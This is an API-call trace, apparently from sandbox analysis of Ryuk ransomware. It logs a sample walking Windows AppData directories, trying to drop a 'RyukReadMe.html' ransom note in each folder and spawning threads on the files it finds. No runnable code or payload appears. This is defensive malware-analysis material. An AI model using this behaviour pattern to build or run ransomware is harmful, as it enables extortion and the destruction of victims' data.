	[0209.502] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0209.502] GetLastError () returned 0x3
	[0209.502] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0209.502] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0209.502] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\D68G7BIJ\\*.*", lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x240000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x2404a8, dwReserved0=0x21a, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0209.502] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0209.502] SetLastError (dwErrCode=0x0) 
	[0209.503] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\D68G7BIJ\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\d68g7bij\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0209.503] GetLastError () returned 0x3
	[0209.503] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0209.503] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0209.503] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe9e3d85, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x200, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0209.503] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2bc126f0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x200, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1
	[0209.503] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0209.592] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5dc
	[0209.594] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0209.595] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52d90010, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52d90010, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="KQMHSVKD", cAlternateFileName="")) returned 1
	[0209.595] SetLastError (dwErrCode=0x0) 
	[0209.595] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0209.595] GetLastError () returned 0x3
	[0209.595] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0209.595] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0209.595] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\KQMHSVKD\\*.*", lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x240000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x2404a8, dwReserved0=0x21a, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0209.595] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0209.595] SetLastError (dwErrCode=0x0) 
	[0209.596] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\KQMHSVKD\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\kqmhsvkd\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0209.596] GetLastError () returned 0x3
	[0209.596] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0209.596] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0209.596] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52d90010, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52d90010, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="KQMHSVKD", cAlternateFileName="")) returned 0
	[0209.596] FindClose (in: hFindFile=0x29ee60 | out: hFindFile=0x29ee60) returned 1
	[0209.599] SetLastError (dwErrCode=0x0) 
	[0209.599] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0209.599] GetLastError () returned 0x3
	[0209.599] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0) returned 0
	[0209.599] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0209.599] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3d1d6940, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x3d1d6940, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x3d1d6940, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="FORMS", cAlternateFileName="")) returned 1
	[0209.599] SetLastError (dwErrCode=0x0) 
	[0209.599] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5cc
	[0209.600] GetLastError () returned 0xb7
	[0209.600] CloseHandle (hObject=0x5cc) returned 1
	[0209.600] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\FORMS\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3d1d6940, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x3d1d6940, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x3d1d6940, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ee60
	[0209.601] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3d1d6940, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x3d1d6940, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x3d1d6940, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0209.601] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3d1d6940, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x3d1d6940, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x3d757c20, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x3c0dc, dwReserved0=0x200, dwReserved1=0x0, cFileName="FRMCACHE.DAT", cAlternateFileName="")) returned 1
	[0209.602] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0209.602] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5e0
	[0209.604] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0209.605] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3d1d6940, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x3d1d6940, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x3d757c20, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x3c0dc, dwReserved0=0x200, dwReserved1=0x0, cFileName="FRMCACHE.DAT", cAlternateFileName="")) returned 0
	[0209.605] FindClose (in: hFindFile=0x29ee60 | out: hFindFile=0x29ee60) returned 1
	[0209.605] SetLastError (dwErrCode=0x0) 
	[0209.605] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\FORMS\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\forms\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0209.605] GetLastError () returned 0x3
	[0209.605] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0) returned 0
	[0209.605] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0209.605] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd754c00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd754c00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd754c00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="IME12", cAlternateFileName="")) returned 1
	[0209.606] SetLastError (dwErrCode=0x0) 
	[0209.606] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5cc
	[0209.606] GetLastError () returned 0xb7
	[0209.606] CloseHandle (hObject=0x5cc) returned 1
	[0209.606] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\IME12\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd754c00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd754c00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd754c00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ee60
	[0209.607] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd754c00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd754c00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd754c00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0209.607] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd754c00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd754c00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd754c00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0209.607] FindClose (in: hFindFile=0x29ee60 | out: hFindFile=0x29ee60) returned 1
	[0209.607] SetLastError (dwErrCode=0x0) 
	[0209.607] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\IME12\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ime12\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0209.608] GetLastError () returned 0x3
	[0209.608] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0) returned 0
	[0209.608] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0209.608] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="IMJP12", cAlternateFileName="")) returned 1
	[0209.608] SetLastError (dwErrCode=0x0) 
	[0209.608] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5cc
	[0209.609] GetLastError () returned 0xb7
	[0209.609] CloseHandle (hObject=0x5cc) returned 1
	[0209.609] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\IMJP12\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ee60
	[0209.611] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0209.611] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0209.612] FindClose (in: hFindFile=0x29ee60 | out: hFindFile=0x29ee60) returned 1
	[0209.612] SetLastError (dwErrCode=0x0) 
	[0209.612] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\IMJP12\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\imjp12\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0209.612] GetLastError () returned 0x3
	[0209.612] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0) returned 0
	[0209.612] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0209.612] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="IMJP8_1", cAlternateFileName="")) returned 1
	[0209.612] SetLastError (dwErrCode=0x0) 
	[0209.612] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5cc
	[0209.613] GetLastError () returned 0xb7
	[0209.613] CloseHandle (hObject=0x5cc) returned 1
	[0209.613] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\IMJP8_1\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ee60
	[0209.615] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0209.615] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0209.615] FindClose (in: hFindFile=0x29ee60 | out: hFindFile=0x29ee60) returned 1
